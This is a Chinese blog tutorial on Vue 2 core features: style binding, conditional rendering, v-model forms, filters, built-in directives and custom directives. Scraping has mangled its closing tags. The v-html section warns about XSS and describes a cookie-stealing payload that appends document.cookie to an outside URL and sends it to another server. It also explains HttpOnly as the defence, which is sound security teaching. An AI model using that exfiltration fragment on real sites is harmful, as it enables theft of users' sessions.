• Vue(二)——Vue核心第二弹(未完成)


    目录

    1.绑定样式 

    绑定class样式

    绑定style样式

    2.条件渲染

    3.列表渲染

    4.收集表单数据

    5.过滤器

    6.内置指令

    v-text指令

    v-html指令

    v-cloak指令

    v-once指令

    v-pre指令

    7.自定义指令

    8.生命周期


    1.绑定样式 

            在应用界面中, 某个(些)元素的样式是变化的, class/style 绑定就是专门用来实现动态样式效果的技术。

    1. <style>
    2. .basic{
    3. width: 400px;
    4. height: 100px;
    5. border: 1px solid black;
    6. }
    7. .happy{
    8. border: 4px solid red;;
    9. background-color: rgba(255, 255, 0, 0.644);
    10. background: linear-gradient(30deg,yellow,pink,orange,yellow);
    11. }
    12. .sad{
    13. border: 4px dashed rgb(2, 197, 2);
    14. background-color: gray;
    15. }
    16. .normal{
    17. background-color: skyblue;
    18. }
    19. .atguigu1{
    20. background-color: yellowgreen;
    21. }
    22. .atguigu2{
    23. font-size: 30px;
    24. text-shadow:2px 2px 10px red;
    25. }
    26. .atguigu3{
    27. border-radius: 20px;
    28. }
    29. style>

    绑定class样式

            写法 :class="xxx"  xxx可以是字符串、对象、数组。正常的样式正常写,变化的样式用绑定的形式写。

    • 字符串写法适用于:类名不确定,要动态获取。
    1. <div class="basic" :class="mood" @click="changeMood">{{name}}div> <br/><br/>
    1. <script type="text/javascript">
    2. Vue.config.productionTip = false
    3. const vm = new Vue({
    4. el:'#root',
    5. data:{
    6. name:'zqf',
    7. mood:'normal',
    8. },
    9. methods: {
    10. changeMood(){
    11. // this.mood = 'happy'
    12. const arr = ['happy','sad','normal']
    13. const index = Math.floor(Math.random()*3) //floor向下取整
    14. this.mood = arr[index] //随机切换样式
    15. }
    16. },
    17. })
    18. script>
    • 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定。
    1. <div class="basic" :class="classArr">{{name}}div> <br/><br/>

    • 对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
    1. <div class="basic" :class="classObj">{{name}}div> <br/><br/>
    1. <script type="text/javascript">
    2. Vue.config.productionTip = false
    3. const vm = new Vue({
    4. el:'#root',
    5. data:{
    6. name:'尚硅谷',
    7. mood:'normal',
    8. //这些都是vue在维护 可随时修改
    9. classArr:['atguigu1','atguigu2','atguigu3'],//把要用到的样式配在数组里面
    10. classObj:{
    11. atguigu1:false,
    12. atguigu2:false,
    13. }
    14. },
    15. methods: {
    16. changeMood(){
    17. // this.mood = 'happy'
    18. const arr = ['happy','sad','normal']
    19. const index = Math.floor(Math.random()*3) //floor向下取整
    20. this.mood = arr[index]
    21. }
    22. },
    23. })
    24. script>

    绑定style样式

    如果要动态绑定style,就要将其设置为一个对象,以下展示两种写法:

    :style="{fontSize: xxx}"其中xxx是动态值。

    :style="[a,b]"其中a、b是样式对象。

    1. <div class="basic" :style="styleObj">{{name}}div> <br/><br/>
    2. <div class="basic" :style="[styleObj,styleObj2]">{{name}}div> <br/><br/>
    3. <div class="basic" :style="styleArr">{{name}}div>

    2.条件渲染

            所谓条件渲染,就是你符合了某些条件。我就渲染某些东西。

    1.v-if

            (1).v-if="表达式"

            (2).v-else-if="表达式"

            (3).v-else="表达式"

    适用于:切换频率较低的场景。

    特点:不展示的DOM元素直接被移除。

    注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。以下写法就是错误的

    1. <h2 v-if="false">欢迎来到{{name}}h2>
    2. <h2 v-if="1 === 1">欢迎来到{{name}}h2>
    1. <div v-if="n === 1">Angulardiv>
    2. <div v-else-if="n === 2">Reactdiv>
    3. <div v-else-if="n === 3">Vuediv>
    4. <div v-else>哈哈div>

            使用template对h2进行包裹,等最终页面渲染的时候,他会把template标签脱掉,注意template只能和v-if配合。

    1. <template v-if="n === 1">
    2. <h2>你好h2>
    3. <h2>zqfh2>
    4. <h2>北京h2>
    5. template>

    2.v-show

            v-show="表达式"                (能转换为布尔值的表达式)

    适用于:切换频率较高的场景。

    特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

    1. <h2 v-show="false">欢迎来到{{name}}h2>
    2. <h2 v-show="1 === 1">欢迎来到{{name}}h2>

     其底层实现就是调整display属性,当表达式为false时,只是视觉上不可见,实际上依然存在。

    结果:

    使用 v-if 时,元素可能无法获取到,而使用v-show一定可以获取到,因为v-show只是隐藏。

    如果需要频繁切换 v-show 较好,因为 v-show 是节点还在只是动态地显示。

    当条件不成立时, v-if 的所有子节点不会解析(项目中使用)

    3.列表渲染


    4.收集表单数据

    若:,则v-model收集的是value值,用户输入的就是value值。

    若:,则v-model收集的是value值,且要给标签配置value值。

    若:

            1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值

            2.配置input的value属性:

                    (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值

                    (2)v-model的初始值是数组,那么收集的的就是value组成的数组

    1. <div id="root">
    2. <form @submit.prevent="demo">
    3. 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
    4. 密码:<input type="password" v-model="userInfo.password"> <br/><br/>
    5. 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
    6. 性别:
    7. <input type="radio" name="sex" v-model="userInfo.sex" value="male">
    8. <input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
    9. 爱好:
    10. 学习<input type="checkbox" v-model="userInfo.hobby" value="study">
    11. 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
    12. 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
    13. <br/><br/>
    14. 所属校区
    15. <select v-model="userInfo.city">
    16. <option value="">请选择校区option>
    17. <option value="beijing">北京option>
    18. <option value="shanghai">上海option>
    19. <option value="shenzhen">深圳option>
    20. <option value="wuhan">武汉option>
    21. select>
    22. <br/><br/>
    23. 其他信息:
    24. <textarea v-model.lazy="userInfo.other">textarea> <br/><br/>
    25. <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.bilibili.com">《用户协议》a>
    26. <button>提交button>
    27. form>
    28. div>

    1. <script type="text/javascript">
    2. Vue.config.productionTip = false
    3. new Vue({
    4. el:'#root',
    5. data:{
    6. //将表单数据封装成一个对象更方便
    7. userInfo:{
    8. account:'',
    9. password:'',
    10. age:18,
    11. sex:'female',
    12. hobby:[],
    13. city:'beijing',
    14. other:'',
    15. agree:''
    16. }
    17. },
    18. methods: {
    19. demo(){
    20. //JSON格式输出
    21. console.log(JSON.stringify(this.userInfo))
    22. }
    23. }
    24. })
    25. script>

    v-model的三个修饰符:

            lazy:失去焦点再收集数据

            number:输入字符串转为有效的数字

            trim:输入首尾空格过滤

    5.过滤器

    定义:对要显示的数据进行特定格式化后再显示。过滤器的本质就是一个函数

    (适用于一些简单逻辑的处理,例如时间戳转换为日期)

    过滤器可应用于插值语法和 v-bind

    语法:

            1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

            2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"

    备注:

            1.过滤器也可以接收额外参数(因为本身就可接收一个)、多个过滤器也可以串联

            2.并没有改变原本的数据, 是产生新的对应的数据

    time自始至终都是那个时间戳,其他东西都是算出来的

    • 局部过滤器
    1. <div id="root">
    2. <h2>显示格式化后的时间h2>
    3. <h3>现在是:{{fmtTime}}h3>
    4. <h3>现在是:{{getFmtTime()}}h3>
    5. <h3>现在是:{{time | timeFormater}}h3>
    6. <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}h3>
    7. <h3 :x="msg | mySlice">zqfh3>
    8. div>
    1. new Vue({
    2. el:'#root',
    3. data:{
    4. time:1621561377603, //时间戳
    5. msg:'你好,zqf'
    6. },
    7. //计算属性实现
    8. computed: {
    9. fmtTime(){
    10. return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
    11. }
    12. },
    13. //methods实现
    14. methods: {
    15. getFmtTime(){
    16. return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
    17. }
    18. },
    19. //局部过滤器
    20. filters:{
    21. //形参默认值,如果str没有值则默认写上,如果有值则用传过来的值
    22. timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
    23. // console.log('@',value)
    24. return dayjs(value).format(str)
    25. }
    26. }
    27. })

            在过滤器当中首先读取time,随后将time作为参数传递给timeFormater,timeFormater的返回值直接整个替换掉插值语法里的数据,最终实现解析。

            过滤器第一个参数是更古不变的,永远是管道符前面的数据,如果过滤器有参数,则排在后面。

    • 全局过滤器 (必须在new Vue之前)
    1. <div id="root2">
    2. <h2>{{msg | mySlice}}h2>
    3. div>
    1. //全局过滤器
    2. Vue.filter('mySlice',function(value){
    3. return value.slice(0,4)
    4. })
    5. new Vue({
    6. el:'#root2',
    7. data:{
    8. msg:'hello,zqf!'
    9. }
    10. })

    时间戳转化为日期

    6.内置指令

            学过的指令:

                            v-bind  : 单向绑定解析表达式, 可简写为 :xxx

                            v-model : 双向数据绑定

                            v-for   : 遍历数组/对象/字符串

                            v-on    : 绑定事件监听, 可简写为@

                            v-if        : 条件渲染(动态控制节点是否存存在)

                            v-else  : 条件渲染(动态控制节点是否存存在)

                            v-show  : 条件渲染 (动态控制节点是否展示)

    v-text指令

    1.作用:向其所在的节点中渲染文本内容

    2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

    1. <div id="root">
    2. <div>你好,{{name}}div>
    3. <div v-text="name">你好,div>
    4. <div v-text="str">div>
    5. div>
    1. <script type="text/javascript">
    2. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    3. new Vue({
    4. el:'#root',
    5. data:{
    6. name:'zqf',
    7. str:'

      你好啊!

      '
    8. }
    9. })
    10. script>

    v-text把所有的字符串都当成正常的文本去解析,不会被当成标签解析

    结果 

    v-html指令

    1.作用:向指定节点中渲染包含html结构的内容。

    2.与插值语法的区别:

            (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

            (2).v-html可以识别html结构。(与v-text相反)

    3.严重注意:v-html有安全性问题!!!!

            (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(冒充用户之手)。

            (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

    关于浏览器中cookie的使用


     

    1. <div id="root">
    2. <div>你好,{{name}}div>
    3. <div v-html="str">div>
    4. <div v-html="str2">div>
    5. div>
    1. <script type="text/javascript">
    2. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    3. new Vue({
    4. el:'#root',
    5. data:{
    6. name:'zqf',
    7. str:'

      你好啊!

      '
      ,
    8. }
    9. })
    10. script>

            注意:"http://www.baidu.com?"+document.cookie当中document.cookie获取当前所处网站的全部cookie并跳走,并且把所有cookie作为参数形式传给别的服务器。

            But:在设计之初也曾考虑过这种危险的行为,所以在cookie列表当中有一个HttpOnly字段,如果cookie被当前字段给限制了,那么这一条cookie只有http协议才能被读取携带,任何人包括JS代码操作都不会获取和携带。

            如果全部勾选上,当再次获取时啥也获取不到

    在一个留言界面把该字段输入进去,此时网站如果使用的的是v-html那么就危险了。

    前端:永远不要相信用户的输入; 后端:永远不要相信前端传来的参数 

    v-cloak指令

    1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

    2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

    1. <div id="root">
    2. <h2>{{name}}h2>
    3. div>
    1. <script type="text/javascript">
    2. console.log(1)
    3. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    4. new Vue({
    5. el:'#root',
    6. data:{
    7. name:'zqf'
    8. }
    9. })
    10. script>

    加入某天发生特殊情况,vue.js足足等了5s才引入进来

    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js">script>

    此时会发生JS阻塞,绿色框和粉色框里的内容是不会被渲染的。 

            假如引入vue的代码放在容器之后,那么就会先渲染容器中的H2内容,再等待vue加载,再执行vue实例,此时会发生页面闪现,name在5秒后直接变为zqf。

    v-cloak会在vue接管容器的一瞬间把v-cloak删掉了

    此时vue还未接管容器

    此时vue接管容器

            选中所有标签中含有v-cloak的元素,让他们display:none,就是结构跑到页面上去了,但是让他隐藏,等vue引入进来之后,cloak会自动删除,等cloak删除之后,display:none就不会再限制。

    1. <style>
    2. [v-cloak]{
    3. display:none;
    4. }
    5. style>

    当网速过慢的时候,v-cloak可以不让未经解析的模板跑到页面上去。

    完整代码:

    1. html>
    2. <html>
    3. <head>
    4. <meta charset="UTF-8" />
    5. <title>v-cloak指令title>
    6. <style>
    7. [v-cloak]{
    8. display:none;
    9. }
    10. style>
    11. head>
    12. <body>
    13. <div id="root">
    14. <h2>{{name}}h2>
    15. div>
    16. <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js">script>
    17. body>
    18. <script type="text/javascript">
    19. console.log(1)
    20. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    21. new Vue({
    22. el:'#root',
    23. data:{
    24. name:'zqf'
    25. }
    26. })
    27. script>
    28. html>

    v-once指令

    1.v-once所在节点在初次动态渲染后,就视为静态内容了。

    2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

    提出需求:想同时在页面中显示n的初始化值和变化之后的值。

    1. <div id="root">
    2. <h2 v-once>初始化的n值是:{{n}}h2>
    3. <h2>当前的n值是:{{n}}h2>
    4. <button @click="n++">点我n+1button>
    5. div>
    1. <script type="text/javascript">
    2. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    3. new Vue({
    4. el:'#root',
    5. data:{
    6. n:1
    7. }
    8. })
    9. script>

    v-pre指令

    1.跳过其所在节点的编译过程,vue不去解析此节点,直接放到界面上。

    2.可利用它跳过:没有使用指令语法没有使用插值语法的节点,会加快编译。

    1. <div id="root">
    2. <h2 v-pre>Vue其实很简单h2>
    3. <h2 >当前的n值是:{{n}}h2>
    4. <button @click="n++">点我n+1button>
    5. div>
    1. <script type="text/javascript">
    2. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    3. new Vue({
    4. el:'#root',
    5. data:{
    6. n:1
    7. }
    8. })
    9. script>

    7.自定义指令

            v-show是调用了DOM身上的display属性,如果有一天自定义了一条v-hello,这个指令背后如何操作DOM元素,逻辑等着我们自己来写。

    回顾DOM操作

    1. html>
    2. <html>
    3. <head>
    4. <meta charset="UTF-8" />
    5. <title>Documenttitle>
    6. <style>
    7. .demo{
    8. background-color: orange;
    9. }
    10. style>
    11. head>
    12. <body>
    13. <button id="btn">点我创建一个输入框button>
    14. <script type="text/javascript" >
    15. const btn = document.getElementById('btn')
    16. btn.onclick = ()=>{
    17. const input = document.createElement('input')
    18. //也不是所有命令都得放在document.body.appendChild(input)之后
    19. input.cslassName = 'demo'
    20. input.value = 99
    21. input.onclick = ()=>{alert(1)}
    22. document.body.appendChild(input)
    23. //input只有放在页面上才能获取焦点
    24. input.focus()
    25. // input.parentElement.style.backgroundColor = 'skyblue'
    26. console.log(input.parentElement)
    27. }
    28. script>
    29. body>
    30. html>

    函数式

    需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

    1. <div id="root">
    2. <h2>{{name}}h2>
    3. <h2>当前的n值是:<span v-text="n">span> h2>
    4. <h2>放大10倍后的n值是:<span v-big="n">span> h2>
    5. <button @click="n++">点我n+1button>
    6. div>

    定义一个big指令需要一个全新的配置项directives,可以以函数形式定义,第一个参数是DOM元素,可以对其进行DOM操作,第二个参数是绑定,v-bind是给标签中的某一个属性绑定值用的,这里的绑定是元素和指令之间的关联关系(v-big为何不去绑定button?)

    1. big(element,binding){
    2. console.log('big',this) //注意此处的this是window
    3. // console.log('big')
    4. element.innerText = binding.value * 10
    5. },

    big函数何时会被调用?

    1.指令与元素成功绑定时(一上来)。(要么元素写的有问题,要门指令不存在,这就是写的有问题)

    2.指令所在的模板被重新解析时。

    对象式

    需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

    1. <div id="root">
    2. <h2>{{name}}h2>
    3. <h2>当前的n值是:<span v-text="n">span> h2>
    4. <h2>放大10倍后的n值是:<span v-big="n">span> h2>
    5. <button @click="n++">点我n+1button>
    6. <hr/>
    7. <input type="text" v-fbind:value="n">
    8. div>

    fbind写成一个对象,对象里写很多个函数

    bind:元素已经出来了和指定已经绑定好了,但是还没有放到页面,可以去写一些样式、value值、绑定事件等。

    inserted:获取焦点

    1. fbind:{
    2. //指令与元素成功绑定时(一上来)
    3. bind(element,binding){
    4. element.value = binding.value
    5. },
    6. //指令所在元素被插入页面时
    7. inserted(element,binding){
    8. element.focus()//获取焦点
    9. },
    10. //指令所在的模板被重新解析时
    11. update(element,binding){
    12. element.value = binding.value
    13. }
    14. }

    还可以设置全局指令

    1. <script type="text/javascript">
    2. Vue.config.productionTip = false
    3. //定义全局指令
    4. //对象式
    5. Vue.directive('fbind',{
    6. //指令与元素成功绑定时(一上来)
    7. bind(element,binding){
    8. element.value = binding.value
    9. },
    10. //指令所在元素被插入页面时
    11. inserted(element,binding){
    12. element.focus()
    13. },
    14. //指令所在的模板被重新解析时
    15. update(element,binding){
    16. element.value = binding.value
    17. }
    18. })
    19. //函数式
    20. Vue.directive('big',function(element,binding){
    21. console.log('big',this) //注意此处的this是window
    22. //console.log('big')
    23. element.innerText = binding.value * 10
    24. })
    25. new Vue({
    26. el:'#root',
    27. data:{
    28. name:'zqf',
    29. n:1
    30. },
    31. directives:{
    32. //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
    33. /* 'big-number'(element,binding){
    34. // console.log('big')
    35. element.innerText = binding.value * 10
    36. }, */
    37. big(element,binding){
    38. console.log('big',this) //注意此处的this是window
    39. // console.log('big')
    40. element.innerText = binding.value * 10
    41. },
    42. fbind:{
    43. //指令与元素成功绑定时(一上来)
    44. bind(element,binding){
    45. element.value = binding.value
    46. },
    47. //指令所在元素被插入页面时
    48. inserted(element,binding){
    49. element.focus()//获取焦点
    50. },
    51. //指令所在的模板被重新解析时
    52. update(element,binding){
    53. element.value = binding.value
    54. }
    55. }
    56. }
    57. })
    58. script>

    一、定义语法:

     8.生命周期

     

  • 相关阅读:
    python文件的读取
    模板、外观、观察者、建造者
    【Linux编程Shell自动化脚本】03 shell四剑客(find、sed、grep、awk)
    Pytorch(一) —— 基本语法
    【谈薪】校招社招如何谈薪
    进制转换器
    ROS系统02——matlab读取ros话题消息代码
    【阿旭机器学习实战】【24】信用卡用户流失预测实战
    认识JVM
    托管服务器常见的问题有哪些(常见托管问题解决)
  • 原文地址:https://blog.csdn.net/m0_52601969/article/details/126268211